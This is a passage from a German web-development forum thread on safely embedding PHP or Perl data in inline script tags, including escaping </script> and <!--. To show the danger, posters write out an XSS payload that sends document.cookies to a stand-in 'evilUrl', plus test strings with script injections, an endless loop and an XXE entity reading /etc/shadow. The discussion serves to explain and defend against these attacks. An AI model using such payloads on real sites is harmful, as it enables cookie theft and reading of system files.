als JSON einbinden --> <!-- parent=/demo --> <!-- no_cache=1 --> <!-- interface=umgebung --> </code></pre> <p>Interface deswegen weil meine Traits nur Methoden fürs Interface bereitstellen.</p> <p>Schöne Grüße!</p> Rolf B's Lösung Mon, 30 Apr 18 16:04:02 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721053#m1721053 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721053#m1721053 <p>hallo</p> <blockquote> <p>Mit Smarty würde ich also einfach</p> <pre><code class="block language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> <span class="token keyword">var</span> <span class="token constant">ROLF</span><span class="token punctuation">.</span>jsData <span class="token operator">=</span> <span class="token punctuation">{</span>$jsData<span class="token operator">|</span>json_encode<span class="token punctuation">}</span><span class="token punctuation">;</span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span> </code></pre> </blockquote> <pre><code class="block language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> <span class="token comment">//<!--</span> <span class="token keyword">var</span> <span class="token constant">ROLF</span><span class="token punctuation">.</span>jsData <span class="token operator">=</span> <span class="token punctuation">{</span>$jsData<span class="token operator">|</span>json_encode<span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">//--></span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span> </code></pre> <p>Sorry, soviel muss sein</p> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Rolf B's Lösung Tue, 01 May 18 04:58:20 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721077#m1721077 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721077#m1721077 <p><a href="/users/6547" class="mention registered-user" rel="noopener noreferrer">@Rolf B</a></p> <blockquote> <p>wenn ich eine Template-Engine hätte, die im Stande ist, JS in HTML zu erkennen und erforderliche Kontextbehandlungen transparent durchzuführen, dann hätte ich das sicherlich damit gemacht.</p> </blockquote> <p>Wozu sollte eine TE zwischen HTML und JS unterscheiden können? Wenn beides zusammen ausgeliefert wird, ist das alles beides nur Text. Und wenn Du JS~Variablen über Platzhalter einbaust, ist JS der Kontext, z.B.</p> <pre><code class="block language-js"><span class="token keyword">var</span> alltag <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token string-property property">"salute"</span><span class="token operator">:</span><span class="token string">"Guten <Tag>"</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token operator">^</span> Platzhalter <span class="token operator">^</span> </code></pre> <p>Wohlgemerkt: Nicht JS sondern nur die JS~Variable wird eingebaut, diese ist immer ein Stringliteral.</p> <p>Für HTML andererseits ist HTML der Kontext:</p> <pre><code class="block language-html">{"salute":"Guten <span class="token entity named-entity" title="<">&lt;</span>Tag>"} ^ Platzhalter ^ </code></pre> <p>Also müssen HTML~relevante Zeichen (hier die spitze Klammer) entsprechend behandelt werden. D.h. natürlich, daß es innerhalb <strong>eines Templates namentlich nicht dieselben Platzhalter sein dürfen</strong> wenn die TE den Kontext nicht unterscheiden kann.</p> <p>MfG</p> Rolf B's Lösung Mon, 30 Apr 18 17:13:10 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721055#m1721055 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721055#m1721055 <p>Hallo,</p> <blockquote> <pre><code class="block language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> <span class="token comment">//<!--</span> <span class="token keyword">var</span> <span class="token constant">ROLF</span><span class="token punctuation">.</span>jsData <span class="token operator">=</span> <span class="token punctuation">{</span>$jsData<span class="token operator">|</span>json_encode<span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">//--></span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span> </code></pre> </blockquote> <p>habe ich irgendwas verpasst? Ist irgendein Browser aufgetaucht, der <script> nicht kennt? Dachte, Netscape Navigator 1.0 sei ausgestorben ... vor etwa 25 Jahren.</p> <p>Viele Grüße Matti</p> Rolf B's Lösung Mon, 30 Apr 18 17:29:57 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721056#m1721056 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721056#m1721056 <p>hallo</p> <blockquote> <p>Hallo,</p> <blockquote> <pre><code class="block language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> <span class="token comment">//<!--</span> <span class="token keyword">var</span> <span class="token constant">ROLF</span><span class="token punctuation">.</span>jsData <span class="token operator">=</span> <span class="token punctuation">{</span>$jsData<span class="token operator">|</span>json_encode<span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">//--></span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span> </code></pre> </blockquote> <p>habe ich irgendwas verpasst? Ist irgendein Browser aufgetaucht, der <script> nicht kennt? Dachte, Netscape Navigator 1.0 sei ausgestorben ... vor etwa 25 Jahren.</p> </blockquote> <p>Warst nicht du es der vor </script> in data gewarnt hat, und an Kontextwechsel erinnert hat?</p> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Rolf B's Lösung Tue, 01 May 18 17:30:00 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721140#m1721140 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721140#m1721140 <p>Hallo Matti,</p> <blockquote> <blockquote> <p><script><br> //<!--<br> var ROLF.jsData = {$jsData|json_encode};<br> //--><br> </script></p> </blockquote> </blockquote> <blockquote> <p>habe ich irgendwas verpasst? Ist irgendein Browser aufgetaucht, der <script> nicht kennt? Dachte, Netscape Navigator 1.0 sei ausgestorben ... vor etwa 25 Jahren.</p> </blockquote> <p>Meine Güte, ist hier an einem Tag viel passiert </p> <p>Dass man Script-Inhalte noch kommentieren soll, hat mich jetzt auch gewundert; ich hatte das als vergammelte Leiche im Keller vergraben. Allerdings verstehe ich auch die Fortsetzung dieses Einwandes nicht - auf das "Habe ich was verpasst" folgte die Diskussion über </script>.</p> <p>Dazu möchte ich Danke sagen, als Teilzeit-Webentwickler war mir diese Falle überhaupt nicht klar. Und json_encode in PHP reicht da auch nicht; der macht zwar <code></script></code> zu <code><\/script></code>, lässt aber <!-- stehen wie es ist; und wenn das in einem JS-String auftaucht, zerreißt es das Script genauso. Sehr ärgerlich.</p> <p><em>Rolf</em></p> <div class="signature">-- <br> sumpsi - posui - clusi </div> Rolf B's Lösung Mon, 30 Apr 18 17:54:09 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721060#m1721060 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721060#m1721060 <p>Hallo,</p> <blockquote> <blockquote> <blockquote> <pre><code class="block language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> <span class="token comment">//<!--</span> <span class="token keyword">var</span> <span class="token constant">ROLF</span><span class="token punctuation">.</span>jsData <span class="token operator">=</span> <span class="token punctuation">{</span>$jsData<span class="token operator">|</span>json_encode<span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">//--></span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span> </code></pre> </blockquote> </blockquote> </blockquote> <blockquote> <p>Warst nicht du es der vor </script> in data gewarnt hat, und an Kontextwechsel erinnert hat?</p> </blockquote> <p>es geht um folgenden Angriffsvektor (unter der Annahme, dass $jsData in irgendeiner Form mit Daten aus User-Kontrolle bestückt ist. Z.B. (alles aus dem Kopf geschrieben):</p> <pre><code class="block language-php"><span class="token variable">$jsData</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"\";</script><script>var cookies = JSON.stringify(document.cookies);window.open('evilUrl?q=' + cookies);"</span><span class="token punctuation">;</span> </code></pre> <p>Dann sollte bei einem reinem Code wie oben (selbst mit dem "<script><!-- "-"Trick" folgendes herauskommen:</p> <pre><code class="block language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> <span class="token comment">//<!--</span> <span class="token keyword">var</span> <span class="token constant">ROLF</span><span class="token punctuation">.</span>jsData <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"><span class="token keyword">var</span> cookies <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>document<span class="token punctuation">.</span>cookies<span class="token punctuation">)</span><span class="token punctuation">;</span>window<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token string">'evilUrl?q='</span> <span class="token operator">+</span> cookies<span class="token punctuation">)</span><span class="token punctuation">;</span>"<span class="token punctuation">;</span> <span class="token comment">//--></span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span> </code></pre> <p>und schwupps hat man (trotz SOP und Co) seine Cookies verloren. Die Lösung besteht darin, dass die wichtigen Steuerzeichen aus dem Output entfernt werden. Im Kontext von JS in HTML sind es eben nicht nur die JS-Steuerzeichen (die man mit json_encode wegbekommt), sondern eben auch </script>. Der HTML-Kommentar hilft hier nicht wirklich, außer ich verpasse irgendwas. Daher meine Rückfrage.</p> <p>Viele Grüße Matti</p> Rolf B's Lösung Mon, 30 Apr 18 18:06:28 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721062#m1721062 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721062#m1721062 <p>hallo</p> <blockquote> <p>es geht um folgenden Angriffsvektor (unter der Annahme, dass $jsData in irgendeiner Form mit Daten aus User-Kontrolle bestückt ist. Z.B. (alles aus dem Kopf geschrieben):</p> <pre><code class="block language-php"><span class="token variable">$jsData</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"\";</script><script>var cookies = JSON.stringify(document.cookies);window.open('evilUrl?q=' + cookies);"</span><span class="token punctuation">;</span> </code></pre> <p>Dann sollte bei einem reinem Code wie oben (selbst mit dem "<script><!-- "-"Trick" folgendes herauskommen:</p> <pre><code class="block language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> <span class="token comment">//<!--</span> <span class="token keyword">var</span> <span class="token constant">ROLF</span><span class="token punctuation">.</span>jsData <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">;</span></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"><span class="token keyword">var</span> cookies <span class="token operator">=</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>document<span class="token punctuation">.</span>cookies<span class="token punctuation">)</span><span class="token punctuation">;</span>window<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token string">'evilUrl?q='</span> <span class="token operator">+</span> cookies<span class="token punctuation">)</span><span class="token punctuation">;</span>"<span class="token punctuation">;</span> <span class="token comment">//--></span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span> </code></pre> <p>und schwupps hat man (trotz SOP und Co) seine Cookies verloren. Die Lösung besteht darin, dass die wichtigen Steuerzeichen aus dem Output entfernt werden. Im Kontext von JS in HTML sind es eben nicht nur die JS-Steuerzeichen (die man mit json_encode wegbekommt), sondern eben auch </script>. Der HTML-Kommentar hilft hier nicht wirklich, außer ich verpasse irgendwas. Daher meine Rückfrage.</p> </blockquote> <p>Wenn der Inhalt der Variable nicht kontrolliert werden kann, dann muss sowieso encode_json angewendet werden. Das ist dir klar?</p> <p>Wenn du schon encode_json anwendest, dann ist es nicht sinnvoll da serverseitig noch html_escape laufen zu lassen, sonst bekommst du ganz andere Daten als beabsichtigt.</p> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Rolf B's Lösung Mon, 30 Apr 18 18:20:08 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721065#m1721065 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721065#m1721065 <p>Hallo,</p> <p>nochmal zum mitschreiben:</p> <ul> <li>json_encode escaped die Sonderzeichen für Javascript (als Nebeneffekt, da JSON gültiges JS ist).</li> <li>json_encode escaped <em>nicht</em> die Sonderzeichen von Javascript in HTML. Da gibt es genau eines (</script>). Das muss separat behandelt werden.</li> </ul> <p>Es geht nicht um ein komplettes HTML-Escape, nur um </script>.</p> <p>tl;dr: Sonderzeichen von Javascript sind eine echte Teilmenge der Sonderzeichen von Javascript in HTML.</p> <p>Viele Grüße Matti</p> Rolf B's Lösung Mon, 30 Apr 18 18:26:39 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721066#m1721066 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721066#m1721066 <p>Hallo,</p> <p>mehr Informationen auch hier, inkl. ein paar alternativer Strategien: <a href="https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#HTML_entity_encoding" rel="nofollow noopener noreferrer">OWASP CSS Prevention Sheet</a></p> <p>Viele Grüße Matti</p> Rolf B's Lösung Mon, 30 Apr 18 18:34:54 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721068#m1721068 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721068#m1721068 <p>hallo</p> <blockquote> <p>nochmal zum mitschreiben:</p> <ul> <li>json_encode escaped die Sonderzeichen für Javascript (als Nebeneffekt, da JSON gültiges JS ist).</li> <li>json_encode escaped <em>nicht</em> die Sonderzeichen von Javascript in HTML. Da gibt es genau eines (</script>). Das muss separat behandelt werden.</li> </ul> </blockquote> <p>Nach schnellem Test gebe ich dir Recht.</p> <p>Das hat zur Konsequenz: Sofern man nicht die Kontrolle über die Data hat, sollte man überhaupt nicht Daten in einem script Element übergeben.</p> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Rolf B's Lösung Tue, 01 May 18 01:04:05 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721075#m1721075 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721075#m1721075 <blockquote> <p>Das hat zur Konsequenz: Sofern man nicht die Kontrolle über die Data hat, sollte man überhaupt nicht Daten in einem script Element übergeben.</p> </blockquote> <p>Nein, man muss lediglich kontextgerecht maskieren, die <a href="https://www.w3.org/TR/html52/semantics-scripting.html#script-content-restrictions" rel="nofollow noopener noreferrer">HTML5.2 Spec</a> schreibt auch vor wie. Die Spec hat ironischwerweise aber genau an der Stelle ein Kontextwechsel-Problem :D In <a href="https://www.w3.org/TR/html51/semantics-scripting.html#script-content-restrictions" rel="nofollow noopener noreferrer">HTML5.1</a> wird der Abschnitt noch richtig dargestellt. In <a href="https://github.com/Teein/Html/blob/6b84b731b8141f8f5ff6c67cc30a832e15a0ef03/src/Ast/Text.php#L63" rel="noopener noreferrer">meiner eigenen kleinen Templating-Engine</a> habe ich das auch implementiert – <em>mir selbst auf die Schulterklopf</em>.</p> <pre><code class="block language-php"><span class="token keyword">function</span> <span class="token function-definition function">escapeRawText</span><span class="token punctuation">(</span><span class="token variable">$text</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token variable">$tests</span> <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token string single-quoted-string">'/<script/ium'</span><span class="token punctuation">,</span> <span class="token comment">// test for forbidden opening tags</span> <span class="token string single-quoted-string">'/<\/script/ium'</span><span class="token punctuation">,</span> <span class="token comment">// test for forbidden closing tags</span> <span class="token string single-quoted-string">'/<!--/ium'</span> <span class="token comment">// test for forbidden opening comments</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token variable">$replacements</span> <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token string single-quoted-string">'<\\\script'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'<\\/script'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'<\\!--'</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token function">preg_replace</span><span class="token punctuation">(</span><span class="token variable">$tests</span><span class="token punctuation">,</span> <span class="token variable">$replacements</span><span class="token punctuation">,</span> <span class="token variable">$text</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> </code></pre> Rolf B's Lösung Tue, 01 May 18 06:15:45 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721081#m1721081 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721081#m1721081 <p>Tach!</p> <blockquote> <pre><code class="block language-php"><span class="token keyword">function</span> <span class="token function-definition function">escapeRawText</span><span class="token punctuation">(</span><span class="token variable">$text</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token variable">$tests</span> <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token string single-quoted-string">'/<script/ium'</span><span class="token punctuation">,</span> <span class="token comment">// test for forbidden opening tags</span> <span class="token string single-quoted-string">'/<\/script/ium'</span><span class="token punctuation">,</span> <span class="token comment">// test for forbidden closing tags</span> <span class="token string single-quoted-string">'/<!--/ium'</span> <span class="token comment">// test for forbidden opening comments</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token variable">$replacements</span> <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token string single-quoted-string">'<\\\script'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'<\\/script'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'<\\!--'</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token function">preg_replace</span><span class="token punctuation">(</span><span class="token variable">$tests</span><span class="token punctuation">,</span> <span class="token variable">$replacements</span><span class="token punctuation">,</span> <span class="token variable">$text</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> </code></pre> </blockquote> <p>Bist du sicher, dass es drei <code>\</code> im ersten Replacement sein müssen? Dann kommt in Javascript das Literal <code>'<\\script'</code>, das als <code><\script</code> interpretiert wird, was meines Erachtens nicht richtig ist.</p> <p>Alternativ könnte man statt <code>\</code> für Javascript hinzuzufügen, und die dann noch für PHP maskieren zu müssen, auch aus einem Zeichen eine Javascript-Unicode-Escape-Sequenz machen. <code>\u</code> bleibt innerhalb von PHPs single-quoted Strings unberührt.</p> <p>dedlfix.</p> Rolf B's Lösung Tue, 01 May 18 07:26:46 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721082#m1721082 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721082#m1721082 <p>hallo</p> <blockquote> <blockquote> <p>Das hat zur Konsequenz: Sofern man nicht die Kontrolle über die Data hat, sollte man überhaupt nicht Daten in einem script Element übergeben.</p> </blockquote> <p>Nein, man muss lediglich kontextgerecht maskieren, die <a href="https://www.w3.org/TR/html52/semantics-scripting.html#script-content-restrictions" rel="nofollow noopener noreferrer">HTML5.2 Spec</a> schreibt auch vor wie. Die Spec hat ironischwerweise aber genau an der Stelle ein Kontextwechsel-Problem :D In <a href="https://www.w3.org/TR/html51/semantics-scripting.html#script-content-restrictions" rel="nofollow noopener noreferrer">HTML5.1</a> wird der Abschnitt noch richtig dargestellt. In <a href="https://github.com/Teein/Html/blob/6b84b731b8141f8f5ff6c67cc30a832e15a0ef03/src/Ast/Text.php#L63" rel="noopener noreferrer">meiner eigenen kleinen Templating-Engine</a> habe ich das auch implementiert – <em>mir selbst auf die Schulterklopf</em>.</p> </blockquote> <p>Ich kann zwar zugeben dass, diese Version (ich habe es bi meiner gestrigen Antwort verwendet), den Job tut...</p> <pre><code class="block language-perl"><span class="token keyword">my</span> <span class="token variable">$arrayref</span><span class="token operator">=</span><span class="token punctuation">[</span> <span class="token string">"//-><script>alert(\"gotcha\")"</span><span class="token punctuation">,</span> <span class="token string">"example>2"</span><span class="token punctuation">,</span> <span class="token string">"\"</script><>\"'&&"</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">my</span> <span class="token variable">$hashref</span><span class="token operator">=</span><span class="token punctuation">{</span>a<span class="token operator">=></span><span class="token string">"-->\\\n"</span><span class="token punctuation">,</span> b<span class="token operator">=></span><span class="token string">"example>2"</span><span class="token punctuation">,</span> c<span class="token operator">=></span><span class="token string">"\"</script><>\"'&&"</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">print</span> perldata_to_htmlscript_ob<span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token v-string string">v1</span><span class="token operator">=></span><span class="token variable">$arrayref</span><span class="token punctuation">,</span><span class="token v-string string">v2</span><span class="token operator">=></span><span class="token variable">$hashref</span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">sub</span> <span class="token function">perldata_to_htmlscript_ob</span><span class="token punctuation">{</span> <span class="token keyword">my</span> <span class="token variable">$hash_of_objects</span> <span class="token operator">=</span> shift<span class="token punctuation">;</span> <span class="token keyword">my</span> <span class="token variable">$result</span> <span class="token operator">=</span> <span class="token string">''</span><span class="token punctuation">;</span> <span class="token keyword">foreach</span><span class="token punctuation">(</span> keys <span class="token variable">%</span><span class="token punctuation">{</span> <span class="token variable">$hash_of_objects</span> <span class="token punctuation">}</span> <span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token variable">$result</span> <span class="token operator">.=</span> sprintf<span class="token punctuation">(</span> <span class="token string">qq{var %s = %s;\n}</span><span class="token punctuation">,</span> <span class="token variable">$_</span><span class="token punctuation">,</span> encode_json<span class="token punctuation">(</span> <span class="token variable">$hash_of_objects</span><span class="token operator">-></span><span class="token punctuation">{</span><span class="token variable">$_</span><span class="token punctuation">}</span> <span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token variable">$result</span> <span class="token operator">=~</span> <span class="token regex">s{[/]}{\\/}g</span><span class="token punctuation">;</span> <span class="token comment">#### <---------------</span> <span class="token keyword">return</span> sprintf<span class="token punctuation">(</span><span class="token string">"<script>\n//<!--\n%s\n// -->\n</script>\n"</span><span class="token punctuation">,</span> <span class="token variable">$result</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> </code></pre> <p>Aber wirklich gut getestet ist das nicht. Es maskiert aber AUCH die stellen die in der Spec angegeben sind.</p> <p>Ehrlich gesagt sieht mir die Empfehlung der Spec da eher als inkonsistener Hack aus.</p> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Arrays und Hashes (Perl oder PHP) in <script> als JS-Object erzeugen Tue, 01 May 18 17:02:19 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721129#m1721129 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721129#m1721129 <p>Hallo pl,</p> <p>herzlichen Glückwunsch. Du hast den Sinn der Frage exakt verstanden. Sonst wäre es Dir nicht gelungen, ihn so weiträumig zu verfehlen.</p> <p><em>Rolf</em></p> <div class="signature">-- <br> sumpsi - posui - clusi </div> Rolf B's Lösung Tue, 01 May 18 11:01:28 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721092#m1721092 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721092#m1721092 <p>hallo</p> <blockquote> <p><a href="/users/6547" class="mention registered-user" rel="noopener noreferrer">@Rolf B</a></p> <blockquote> <p>wenn ich eine Template-Engine hätte, ...</p> </blockquote> </blockquote> <blockquote> <p>Wozu sollte eine TE zwischen HTML und JS unterscheiden können?</p> </blockquote> <p>Gute Frage. Dann testen wir doch die Template-Engine mal?</p> <p>use HTML::Template</p> <p>erzeuge ein Template mit</p> <pre><code class="block language-html">(html hier) <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript"> <span class="token comment">//<!–-</span> <span class="token keyword">var</span> ob <span class="token operator">=</span> <span class="token operator"><</span><span class="token constant">TMPL_VAR</span> <span class="token constant">SCRIPT_DATA</span><span class="token operator">></span><span class="token punctuation">;</span> <span class="token comment">//--></span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span> (html hier) </code></pre> <p>Dann benutze das Template</p> <pre><code class="block language-perl"><span class="token keyword">use</span> HTML<span class="token punctuation">:</span><span class="token punctuation">:</span>Template<span class="token punctuation">;</span> <span class="token keyword">use</span> Json<span class="token punctuation">;</span> <span class="token keyword">my</span> <span class="token variable">$template</span> <span class="token operator">=</span> HTML<span class="token punctuation">:</span><span class="token punctuation">:</span>Template<span class="token operator">-></span>new<span class="token punctuation">(</span> filename <span class="token operator">=></span> <span class="token string">'javascripttest.tmpl'</span><span class="token punctuation">,</span> <span class="token comment"># suche die geeignete Option</span> option <span class="token operator">=></span> <span class="token string">'value'</span><span class="token punctuation">,</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">$template</span><span class="token operator">-></span>param<span class="token punctuation">(</span> SCRIPT_DATA <span class="token operator">=></span> encode_json<span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token string">"<!--<script>alert(\"gotcha\")</script>-->"</span><span class="token punctuation">,</span> <span class="token string">"</script>-->!--<script>alert(\"gotcha\")</script>-->"</span><span class="token punctuation">,</span> <span class="token string">"--><script>alert(\"gotcha\")</script>-->"</span><span class="token punctuation">,</span> <span class="token string">"<![CDATA[<script>var n=0;while(true){n++;}</script>]]>"</span><span class="token punctuation">,</span> <span class="token string">"<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>"</span><span class="token punctuation">,</span> <span class="token string">q{<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xee;</foo>}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> </code></pre> <p>Und dann benutzen wir die Ausgabe im Browser.</p> <p>Was wohl bei verschiedenen Angaben für Option geschieht? Ich rate einfach mal: HTML::Template ist für diese Art Template nicht gerüstet.</p> <div class="signature">-- <br> Neu im Forum! Signaturen kann man ausblenden! </div> Rolf B's Lösung Tue, 01 May 18 08:18:34 Z https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721085#m1721085 https://forum.selfhtml.org/self/2018/apr/27/variable-von-php-nach-javascript-uebergeben/1721085#m1721085 <blockquote> <p>Tach!</p> <blockquote> <pre><code class="block language-php"><span class="token keyword">function</span> <span class="token function-definition function">escapeRawText</span><span class="token punctuation">(</span><span class="token variable">$text</span><span class="token punctuation">)</span><span class="token punctuation">{</span> <span class="token variable">$tests</span> <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token string single-quoted-string">'/<script/ium'</span><span class="token punctuation">,</span> <span class="token comment">// test for forbidden opening tags</span> <span class="token string single-quoted-string">'/<\/script/ium'</span><span class="token punctuation">,</span> <span class="token comment">// test for forbidden closing tags</span> <span class="token string single-quoted-string">'/<!--/ium'</span> <span class="token comment">// test for forbidden opening comments</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token variable">$replacements</span> <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token string single-quoted-string">'<\\\script'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'<\\/script'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'<\\!--'</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token function">preg_replace</span><span class="token punctuation">(</span><span class="token variable">$tests</span><span class="token punctuation">,</span> <span class="token variable">$replacements</span><span class="token punctuation">,</span> <span class="token variable">$text</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> </code></pre> </blockquote> <p>Bist du sicher, dass es drei <code>\</code> im ersten Replacement sein müssen?</p> </blockquote> <p>Sieht für mich inzwischen auch komisch aus - das könnte in der Tat ein Bug sein. Ich habe dazu damals zwar einen Unit-Test geschrieben und mir irgendwas dabei gedacht, aber ich glaube der Test könnte schon falsch sein. <a 